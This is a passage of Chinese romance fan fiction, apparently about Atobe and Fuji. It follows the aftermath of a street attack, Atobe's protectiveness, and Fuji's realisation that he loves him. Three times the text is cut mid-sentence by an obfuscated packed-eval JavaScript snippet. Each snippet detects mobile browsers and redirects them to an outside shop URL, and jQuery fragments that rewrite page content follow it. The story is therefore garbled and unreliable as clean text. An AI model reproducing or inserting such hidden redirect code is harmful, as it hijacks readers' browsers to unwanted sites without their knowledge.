“已经解决了,他们已经造不成任何威胁,不需要你动手。”不二握住迹部那紧握成拳的手,担心迹部没忍住冲上去揍那几个人。 手指一根一根地嵌进迹部的指缝里,掌心贴着掌心,温热贴着滚烫。 “看着我的眼睛,迹部。”不二定定注视着迹部的双眼,“不要看他们了,脏眼睛。他们已经倒了。我没事,我在这里呢,你看着我。” 迹部低下头看着不二的眼睛,手指在不二的指缝间慢慢舒展开来,然后反客为主地握紧了不二的手。这一次他没有控制力道,紧到不二能感觉到自己的指骨被用力挤压在一起的痛觉。 不二没有挣扎,他任由迹部握着他的手,站在原地安静地等待迹部的紧张情绪逐渐发泄出来。 等待迹部的呼吸从急促变得平缓,等待迹部的手指从僵硬变得柔软,等待迹部眼里的红从浓烈变得淡薄。 巷口传来了警笛声,不知道是路过的人报了警,还是迹部在跑过来的路上已经安排了人来处理。 几辆警车停在巷口,穿着制服的男人从车里鱼贯而出。领头的警官看到迹部快步走过来,“迹部先生,您没事吧?” “本大爷没事。”迹部的声音已经恢复了平时的那种沉稳和笃定,“这几人意图不轨被本大爷的朋友制服了。你们处理一下。地上的刀是凶器,我希望警局能严肃处理这起恶劣的伤人事件。” 他的语气很平静,平静得像在吩咐秘书安排明天的会议日程。但他的手始终没有松开,手指依然在不二的指缝间紧紧地牢牢扣着。 警官看了一眼不二,目光里闪过一丝惊讶。大概是没想到这个看起来纤细温和的少年能一个人制服三个成年男人。 但他没有多问,而是带着手下的人走进巷子,把那三个还在地上打滚的人拖了出来。 金链子被两个警察架着拖出来的时候看到了不二,然后又看到了站在不二身边的迹部,嘴巴张了张像是在说什么。但迹部的一个眼神扫过去,整个人嗫嚅着话也说不出来。 迹部景吾在这个世界的商业版图扩张得很快,与之相对应的,黑白两道都不可能忽视这位冉冉升起的商业新星。他的名字在港东市的某些圈子里,已经成为了一个需要绕着走的符号。 不需要他的特意吩咐,警局也不敢随意处理这件事。 警局加快效率,办完笔录、做完登记、等一切手续都走完的时候,时间已经过去了将近半个小时。 不二坐在警局走廊的长椅上,新买的抱枕垫在背后,眼睛半闭着,看起来像是在闭目养神。 环境一旦安静下来,他的脑子里不受控制地想起迹部喜欢他这件事。 他的脑子一片混乱,迹部喜欢他,那他对迹部又是什么心思呢?知晓迹部心思的他后续又该如何与迹部相处呢? “走吧。”没等不二想出结论,迹部的声音从头顶传下来。 迹部已经办好了所有手续在等他一起回家。 不二站起来,迹部理所应当地伸手接过他手里的东西,另一只手自然地伸过来牵住他的手。十指相扣,掌心贴着掌心。 这个动作他们已经重复了无数次,从第一次的生涩到后来的熟练和习以为常。只是这一次不二觉得迹部的温度格外地烫。 他突然冒出一个疑问,迹部是什么时候喜欢他的?“假扮男友”中那些亲密的举动迹部有没有可能根本不是在演戏。 或者说,他是在用“演戏”作为借口,做那些他早就想做的事情。 不二被自己这个想法吓了一跳。 车子在公寓楼下停稳,两人一前一后下车回到家。 两人都没有说话,迹部看见不二的衬衫下摆被刀划破的洞口后,开始再一次仔仔细细检查不二有没有受伤。 迹部检查着,不二经过一路上的思考虽然还是不知道自己该如何对待迹部的爱,但他觉得他应该对迹部道谢。 “迹部,谢谢你这么重视我,”他的声音不大,但在安静的客厅里显得格外清晰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494688|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢你跑过来,谢谢你担心我。” 迹部盯着不二沉默了两秒又紧紧抱住不二,“这是我应该做的,你没事就好。” 不二轻轻回抱住迹部,想了想看向那个为迹部买的抱枕。不能让迹部一直停留在害怕失去他的情绪中,需要将他的注意力转移。 “迹部松松手,我给你买了个抱枕你想感受一下不?”不二将迹部推开,将抱枕从袋子里拿出来递到迹部手中。 迹部接过抱枕,低头看了一眼。奶白色的抱枕没有在这次意外中沾染一丝污渍。他把抱枕抱在怀里,用手指捏了捏,感受了一下填充物的弹性和支撑度。 “怎么样?”不二问,“舒服吗?” “嗯。”迹部说,他的声音有些低,“本大爷会好好珍惜它的。” “一定要好好使用哦,工作时别忘了将它垫在后腰减少身体负担。我可是很在意你身体健康的!不然到时候回去了你身体出问题的话,我就不和你打比赛了。” “嗯,我会的。” …… “迹部,今天的事不要放在心上。我很强,我可以保护好自己。” 迹部的手指在抱枕边缘轻轻抚摸一下弄出一个浅浅的褶皱,然后又将其抚平。 他怎么可能不放在心上。当电话听筒里传出不属于不二的声音时,当他得不到不二的回应时,他再一次想起了不二在他面前倒下的画面,再一次想起了不二与【规则】对抗的累累伤痕。 在从办公室冲出赶往不二所在地的过程中,他的脑海中冒出了无数念头。 不二很厉害,所以他会没事的,自己要相信不二。只是几个小混混,他连【规则】都能战胜怎么可能斗不过几个人类。 但是如果呢……如果不二受伤了,如果他倒下了,自己又该怎么办……再一次成为无能为力的旁观者吗? 他不想这样!可他只能拼尽全力向不二狂奔,只能祈祷一个好结果。 他再一次感受到了自己的无力,再一次感受到自己的失败。如果他能提前派人保护不二,如果他不让不二单独行动,如果他将不二…… 砰…… 不二抬起手在迹部的额头上轻轻弹了一下。力度不轻不重,刚好够让迹部从胡思乱想中清醒过来。 “说了不要放在心上,”不二嘴角弯起一个带着一丝狡黠的弧度,“你要是不听我的话,我就不和你约战了。” 迹部看着不二嘴角那个弧度,看着那双在午后阳光下显得格外透亮的冰蓝色眼睛,看着那副故作凶恶实则温柔得要命的表情。 他的喉结上下滚动了一下,所有的情绪全部堵在喉咙里,上不来也下不去,最后化成了一声很轻很轻的叹息。 “不二……”迹部说。 “嗯?” 他伸出手,把不二额前垂下来的一缕碎发拨到耳后。指腹擦过不二的太阳穴,带着一种害怕瓷器碎裂的小心翼翼。 “你没事就好。”迹部说。他的声音很轻,轻得像一句没有人听到的、藏在日记本最深处的话。 27. 试探 在这件事发生之后,迹部景吾就像一台被调高了灵敏度的警报器,对不二周助身边的一切都充满警惕。 他给不二安排了保镖,即使不二不出门也会每天在楼下随时待命。 家里的员工也被他翻来覆去地查了好几遍。厨师、保洁、管家,”甚至偶尔来修剪阳台绿植的园艺师,每一个人的身份背景都被调出来细细审核。仿佛不二周助生活的空间必须成为一个密不透风的堡垒,任何一丝缝隙都不能留给未知的危险。 除此之外迹部自己也不愿意离开不二身边,甚至在接下来的周末两天,自己不去公司了,也不让不二出门。 对此不二想要婉拒迹部的过度保护,但每次话到嘴边,一抬头对上迹部的眼睛就什么也说不出来了。 毕竟此时的迹部前所未有的认真,就像是守护自己宝藏的恶龙,不容任何人触犯他的逆鳞。 再一次被迹部用“家里一切都有不需要你出门购买”的理由拒绝后,不二只能在阳台上看书消磨时间。 不二看书,迹部则坐在旁边的凳子上用笔记本电脑开视频会议。为了避免打扰到不二,他的声音压得很低,过程中偶尔会停下来看不二一眼确认他还好好地在原地。 面对迹部的灼热视线,不二感觉不自在起来。这种不适应感不仅来源于迹部的过分在意,更来自于知晓迹部心意后杂乱的内心。 他突然想到自己以前的某些行为与言语,真的很不合适…… 比如某次闲聊中有同学问他们以后会不会结婚,当天回家的车上自己打趣迹部说:“结婚的话婚礼请帖一定要手写哦迹部大爷。” 自己当时完全没有别的意思,只是想逗弄一下迹部,毕竟谁让迹部当时回答同学的话太让人震惊了。 竟然没有丝毫犹豫就大声向众人宣告:“本大爷当然会与不二结婚,而且要大办特办,让所有人知道不二是我的!” 再比如某次遇见曾经向他告过白的同学时,迹部突然一下子将自己揽入怀中。不知道当时自己为什么脑子抽风,也伸手紧紧搂住了迹部的腰。 好像是觉得在假扮情侣的过程中都是迹部展现出强势的一面,自己不甘落后……于是在众人面前对迹部“上下其手”了…… 天呐……不二周助……你之前都做了什么啊…… 不二周助把躺椅放下,书本盖在脸上遮住自己大半张脸。他已经完全陷入混乱之中,不知道该怎么办了。 他对迹部肯定是有感情的,毕竟这段时间朝夕相处中能感受到迹部对他的好。迹部的付出他不可能无动于衷,视而不见。 只是他分不清那种感情到底是什么,是朋友之间的喜欢、亲人之间的依赖、还是其他的什么东西? 他从来没有恋爱过,不知道怎么区分友情和爱情的边界,更不知道该怎么回应一个自己还没有想清楚的感情。 不过现在有一件更急于解决的事,毕竟今天周日明天周一,没有时间让迹部慢慢调整状态舒缓情绪了。 这边视频会议开完后,迹部关闭电脑遵从自己的欲望来到不二身旁。他半蹲在不二的躺椅旁,右手朝不二的手指摸去。 不二一惊,但没有反抗。 见不二没动静,迹部轻轻抓住不二的手放入自己掌心,捏一捏揉一揉,用拇指在不二的指节上一寸一寸地碾过不断确认着眼前人的温度。 “迹部。”不二开口,声音被书页挡着听起来闷闷的。 “嗯?” “明天周一,我们要上学啦。”他试图用轻松的语气来打破这逐渐黏稠起来的空气。 “可以不去吗?”迹部的声音从旁边传来,低沉而平稳,“我们俩一起待在家里不好吗?反正书本内容我们都会,没必要去。” 不二把书从脸前移开,转过头看着迹部。迹部的表情很认真不像是在开玩笑。 “不可以的。”不二说,声音放柔了一些,“在学校里我们也是待在一起啊。而且要是我们不在学校,有人会觉得我们闹掰分手了,假扮计划就泡汤了。” 也许是不二话语里的“待在一起”符合迹部不分开的要求,也许是对于“假扮男友计划”的在意,第二天两人准时到达学校。 不二继续和迹部保持着“假扮男友”的互动,牵手、靠近、对视,一切照旧。他会在合适的时机向迹部灌输“他们俩在一起很安全”的思想,好好安抚迹部的情绪。 但是他现在对迹部的任何亲近行为都有一丝不知所措,毕竟他已经知道了迹部的感情,不可能再像以前一样。 即使没有想要疏远迹部的主观意识,但潜意识会对迹部的牵手、拥抱、搂腰等行为格外在意,不自觉作出一些与以往不同的反应。 比如迹部牵他手的时候自己不会再主动握紧,而是在迹部握过来的时候犹豫着回应。再比如他不再能毫无杂念地与迹部对视,不再能长久地停留在迹部的眼睛里,而是在视线触碰没多久就悄然移开。 这些变化微乎其微,但迹部景吾发觉了。 迹部景吾之所以是迹部景吾,就是因为他有着连不二周助都惊叹的洞察力。 不二的一系列抗拒痕迹像一根根细针扎进他的心里。 起初他以为不二是受到了那几个混混的影响,需要一点时间消化那天的事情。他还担心不二会不会心理上受到了伤害。 但很快他就发现,不二对待其他人的态度没有丝毫变化。他依然会对胜郎笑,会对野村温柔,会耐心地帮摄影社的社员们讲解光圈和快门的搭配技巧。 所有的一切都和之前一模一样,只是唯独对他的态度产生了改变。 牵手时他能感到另一边传来的犹豫,不二也不会再随意将他的肩膀当做枕头。 那些自然而然、毫不设防的亲近,在不二周助的日常行为中慢慢消失。 两人之间似乎产生了一条边界分明的分隔线。 不二知道了……是因为不喜欢他所以才对他的亲近产生不喜情绪,所以才会抗拒他的触碰吗? 这个念头冒出来的那天晚上,迹部躺在床上翻来覆去睡不着。 不二会如何想他呢? 讨厌他吗?应该没有。 喜欢他吗?也不见得,至少不是他对不二的那种喜欢。 但是怎么办呢,自己是一定不会放弃的,迹部从不甘心失败。 只是希望不二不要因为“假扮男友计划”而觉得自己不正经,对自己产生负面印象。 得益于发现两人之间关系的转变,迹部的注意力从混混事件完全转移到如何让不二喜欢自己这件事上来。 既然不二已经知道了,那他也没有必要继续藏着掖着。 他决定要在不二能够接受的范围内,尽可能地缩短两人之间的距离。 一寸一寸,一天一天,像水滴石穿一样让不二慢慢习惯他的存在,习惯他的温度,习惯他的喜欢。 按照制定的计划,迹部也不打算说破不二已经知道真相这件事。他假装毫不知情一切照常,甚至更加亲近不二。 温水煮青蛙的火要开始升温了。 第二天早上出门时,迹部比以往任何时候都更加自然地牵起不二的手,甚至将不二的手揉搓后一边一只放在自己脸颊处捂着。 “今天天气突然降温,你手冷不冷?”迹部的语气和平时一模一样,带着那种不容置疑的笃定和理所当然。仿佛他把不二的手贴在脸上只是为了给对方取暖,没有别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494689|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的任何意思,“给你捂捂。” 不二被他突如其来的动作吓了一跳,手指贴在迹部的脸颊上,他能感觉到那层皮肤下面的温度。 迹部的脸颊比他想象的要软,颧骨下面的那一小块肉刚好贴合着他手指的弧度,像是一把锁找到了和它匹配的钥匙。 他的手指轻轻动了一下,犹豫着要不要抽出来。 以前他一定会毫不客气地在迹部的脸上揉搓一番,把他的脸颊揉出红印子后笑着说“迹部你的脸好软啊”。然后再看着迹部耳朵通红、别开目光,用生硬的语气说“不要乱碰本大爷的脸”。 现在他不敢了。他怕自己的犹豫会被迹部察觉,怕自己抽手太快会让迹部以为自己在疏远他。他也怕自己继续把手贴在迹部脸上,会从那些细微的触感里读出更多他还没有准备好面对的东西。 好在他不需要做这个决定。迹部很快放开了他的手,转身去开门,背影在晨光里显得格外挺拔。“走了。” 早上的事还能解释是迹部的突发奇想,但今天的迹部格外反常。 中午的时候两个人照例在图书馆的角落解决午餐。不二打开便当盒低头吃饭,阳光从窗户照进来落在他栗色的头发上。 迹部忽然伸出手,用纸巾轻轻擦过不二的嘴角。“沾到饭粒了。”他的声音很低,指腹在不二的嘴角停留一整秒才收了回来。 不二整个人僵住了,筷子悬在半空中,眼睛蓦然瞪大。整个人像是被什么东西惊到的正在草丛里竖起耳朵的兔子。 迹部没有看他,而是低下头继续吃自己的午饭,表情平静得像刚才什么都没有发生过。 与表面平静相反的是迹部内心的波涛巨浪。 不二会不会觉得我太唐突了…… 对于自己的这些亲密动作不二没有展现出强烈不适反应,是不是意味着他其实是喜欢我的呢? 日子在两人各怀心思中平静地过了一段时间。两个人维持着“假扮情侣”的表面关系,对外依然是那对让整个青叶学园都津津乐道的恋人。牵着手走过走廊,肩并肩坐在图书馆的角落里,偶尔对视一眼然后同时移开目光。 只是在不二周助眼中,迹部越来越喜欢对他上手。比如随时揉他脑袋,或者上手捏他脸颊,又或是很喜欢用拥抱来表达情绪。 这让他有些不知所措,只能时不时拉着胜郎当挡箭牌减少一下迹部的亲密互动。 这天,胜郎找自己表哥有事早早走了,想到回家也是和迹部独处说不定迹部会做出些更加想不到的事,不二干脆去参加摄影社日常活动。 学园祭回忆册样品已经制作出来了,野村让他看看有没有需要调换的。 不愧是人才济济的摄影社,大家拍摄的照片都很有水平,审美也很高。“挺好的,没什么需要修改的。” “那就好。对了不二,当时从你相机传照片时多传了一张照片。不是学园祭的内容,但是能看出来你拍得很用心,倾注了很多感情。我给你洗出来了。” 野村说着递给不二一张照片,对上不二好奇眼神时还眨了眨眼,“有男朋友就是好呀。” 不二接过照片扫了一眼,那是一张迹部景吾的单人照。 他的侧脸在照片里占据了大半的画面,光线从他的左侧打过来,把他紫灰色的头发照得几乎透明。几缕碎发垂在额前,在眉心投下一道细长的阴影。睫毛在眼下投下一片扇形的阴影,被阳光拉得很长,眼睛里满是认真。 不二盯着那张照片看了很久。 他当时为什么要按快门? 明明要拍摊主示范如何制作手鞠球,为什么镜头会不自觉地往右偏移把迹部的脸框进了取景器里,甚至完全将迹部作为拍摄主体? 28. 想要告白 将照片夹在书页里后,不二周助和几个社员道别独自走出社团活动室。 夕阳的光线从走廊尽头的窗户斜射进来,把整条走廊染成了一片温暖的橘红色。他沿着走廊慢慢走着,脚步声在空旷的走廊里回荡。 走下楼梯穿过教学楼的一楼大厅,马上就要到校门口。他站在门口的台阶上缓缓舒了一口气,准备去面对等待他的迹部。 一想到要和迹部独处,不二总是觉得紧张,不适应。毕竟迹部最近太爱对他动手动脚了。 “不二同学。”突然一个声音从侧面叫住了他。 不二转过头,发现是曾经向他告过白的藤原秀树学长。 “可以耽误你几分钟吗?” 面对学长的请求,不二犹豫了半秒随即点了点头。他走下台阶跟随藤原走到一个角落。两人之间保持着一个礼貌的距离,“藤原学长,有什么事吗?” “我不是来告白的。”藤原开门见山,语气里带着一丝释怀,“你放心,我不会反复打扰你。今天我找你就是想和你说清楚。” 不二没有说话,只是安静地等着。 “其实学园祭时,我撞见了你和迹部同学一起约会。” 原来那天算约会吗?不二的手指在身侧微微蜷缩了一下。他想起学园祭烟花大会那天晚上,他和迹部并肩站在天台上,烟花在头顶炸开的场景。 “你们俩确实很配,我能从迹部的眼睛里看见他对你的爱意。他的视线永远追随你的脚步,他真的很爱你。” 原来在别人眼中,迹部对他的爱这么明显。 “本来我还想着再努力一下试着追你,但那天我看见你看向迹部的眼神,我就知道没戏了。” 眼神?他看向迹部的眼神怎么了吗? “你知道吗不二同学,喜欢一个人是藏不住的。你看向他的眼神里全是喜悦,充满了信任与亲近,你也很喜欢他。不过这些都轮不到我说,你和迹部是情侣……” 不二的嘴唇动了一下,手指在身侧慢慢收紧。他的脑子里有一团乱麻,已经完全听不进藤原的话了。 原来他是喜欢迹部的啊…… 他想起那张夹在书里的照片,想起在车上靠在迹部肩膀上睡觉时那种安心的感觉,想起那些“假扮男友”的亲密举动中自己从未真正抗拒过的事实。 那些东西一直都在那里,只是他一直没有把它们拼在一起。 藤原朝不二微微鞠了一躬,“我就是想告诉你这些。我尊重你的选择不二同学,祝你幸福。”说完这句话,藤原便转身离去。 不二站在原地目光落在藤原消失的方向,但视线并没有聚焦在任何东西上。 他喜欢迹部景吾。 不是朋友之间的那种喜欢,不是亲人之间的那种依赖,而是爱情,是想和他白头偕老的爱情。 他喜欢迹部景吾啊。 深吸了一口气,又缓缓吐出来。空气里带着花的香气,甜丝丝的,混在晚风里钻进鼻腔让人从心底里生出一种柔软感。 掏出手机看了一眼时间,五点二十分。迹部应该在校门口等急了,他要赶紧去找迹部。 不二周助不是个拖沓的人,既然确定了自己的心意,那么他就要马上向迹部告白! 不二把手机重新塞进口袋里,拎起背包朝校门口快步走去。夕阳的光线把他的影子拉得很长,脸上是大大的笑容。 “迹部!”校门口一辆熟悉的豪车停在路口,车旁就是他想要告白的迹部景吾。 不二快步往迹部走去,越走越快,几乎是跑着奔向迹部。最后一把扑进迹部怀里,“迹部!久等啦。” “嗯……”迹部的反应出乎不二意料,他退出迹部怀里仔细查看迹部表情。 迹部的脸上表情没来得及收敛,失落与倔强交织在一起。发现不二在看自己后立马假装无事发生,用平常语气询问不二:“社团活动结束了?” “嗯!我刚刚还遇到了藤原学长,就是那位……” 没等不二说完,迹部自然而然地伸出手将自己的手指嵌进不二指缝里,掌心贴着掌心。 “先上车吧。”今天迹部的力度格外重,仿佛在握住一件即将失去的珍宝。 感受到迹部的不对劲,不二周助再怎么想坦白自己的心意也觉得时机不对。 车厢里的气氛和以往不太一样。两个人并肩坐在后座,手依然牵着,但没有说话。迹部的目光落在窗外,表情在明暗交错的光影里忽隐忽现。他的手指在不二的指缝间微微收紧了一下,放松,又收紧,像是在确认什么。 不二看着迹部的侧脸,只觉得迹部景吾长得真好看,一切都是按照他的喜好长的。眼睛深邃,睫毛长长的,身上香香的,手指也很好看。 他现在好想和迹部告白啊。 “迹部。”不二开口。 “嗯?” “你今天……是不是有什么事啊?” 迹部转过头盯着不二,停顿了片刻。“没事。本大爷能有什么事?” 不二看着他的眼睛,心里那股想要现在就开口的冲动又涌了上来。张了张嘴,那句“我喜欢你”已经到了舌尖,几乎要从嘴唇之间溢出去。 “但是你看起来不太开心。” “没有的事。本大爷只是有点累了。” “那今晚我来做饭,你好好休息。” “不用,本大爷……” “你今天累了,我来。”不二的语气喜悦中带着一丝不容拒绝的坚持,“你坐着等吃就行,我想做饭给你吃!” 两人回到家后,不二哼着歌去了厨房。一旦意识到自己喜欢迹部,不二就想把自己最好的都给迹部。 另一边,迹部坐到沙发上把后背陷进柔软的靠垫里。他闭上眼,满脑子都是刚才在校门口看到的那一幕。 公司事务处理完毕后,他从车上下来朝校内看去,只为寻找那道身影。 只是他刚看到不二从教学楼里走出来,就被一个眼熟的人拦住了。那个人站在樱花树下,阳光从背后照过来把那个人的脸照得很清楚。 深棕色的短发,五官端正,不是别人,正是之前对不二告白过的高中部学生会副会长藤原秀树。 他看到不二顺从藤原的要求走到了远离人群的角落说话,看到不二的表情从平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494690|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成惊讶,从惊讶变成迷茫,从迷茫变成喜悦。 那张脸上的眼睛在发光,整个人像是被什么东西点亮了一般从内到外地亮起来。 最近不二一直避免与自己独处,却能对着藤原秀树笑得这么好看,好看到他隔着那么远的距离都能感受到那个笑容的温度。 那一刻他脑子里那根一直绷着的弦断了。 站在原地手指在裤袋里攥紧又松开、松开又攥紧,指甲嵌进掌心里,用那点疼痛提醒自己不要冲过去。 他有什么资格冲过去呢?他只是一个假扮的男朋友,一个借着“帮你解决麻烦”的借口偷偷享受不二亲近的胆小鬼。不二不喜欢他,他一直在自作多情。 迹部睁开眼睛坐直身体,拿起遥控器打开电视,把音量调到不大不小的位置。电视里正在播一个他不认识的综艺节目,几个穿着鲜艳衣服的人在镜头前夸张地笑着,笑声从音响里涌出来填满了客厅的空隙。 他是迹部景吾,是那个掌管500人网球部的冰帝帝王迹部景吾,是在商场上翻云覆雨的迹部景吾,是被所有人仰望的迹部景吾。他的骄傲不允许他在任何人面前示弱,包括不二,尤其是不二。 厨房里传来油锅加热的滋滋声和不二轻轻的哼歌声。 迹部靠回在沙发上,他把目光从电视屏幕上移开看向厨房的方向。不二此时正站在灶台前,手里拿着锅铲,侧脸在抽油烟机的灯光下显得格外柔和。 他的袖子挽到手肘露出一截白皙的小臂,围裙的带子在腰后系成一个松松垮垮的蝴蝶结,不二周助的腰身线条显露无疑。 迹部看着那个身影,心脏像被一只无形的手攥住了,又疼又胀。 接下来的几天,不二一直在等待合适的时机来向迹部告白。 他想着如果迹部再对他做亲密的动作,自己一定“狠狠报复过去”,一定将迹部对他的所作所为还回去。但奇怪的是迹部主动亲近他的次数变少了,虽然两人还是时时腻在一起,迹部却总是在走神。 不二有些忍不住,他想找一个合适的时机向迹部郑重表白。只是天不遂人愿,每次当他摆出一副认真的样子,迹部总是有事要做。 例如周三早上两人还没从家里出发,安静的屋子里正好合适他告白。不二以为时机来了,坐在餐桌前一边喝牛奶一边用手机播放音乐制造氛围。但当他刚开口两个字时,迹部的手机响了,公司那边出了点状况需要他远程处理。 周四午餐结束后,他又以为时机来了。阳光从窗户照进来落在地板上,整个图书馆安静而温馨。当不二正准备以浪漫诗句开始时,却发现迹部正低着头看手机,眉头微皱像是在处理一件非常棘手的事情。 周五最后一节课下课,不二今天没打算去参加摄影社活动。在一起回家的路上,不二鼓足勇气再一次准备告白,结果迹部提前开口了。 “不二,研究所那边有消息了。” 不二告白进程被打断愣了一下,转过头看到迹部正握着手机,表情是一种不二说不上来的复杂。 “什么消息?”不二问。 “他们找到回家的方法了。”迹部说。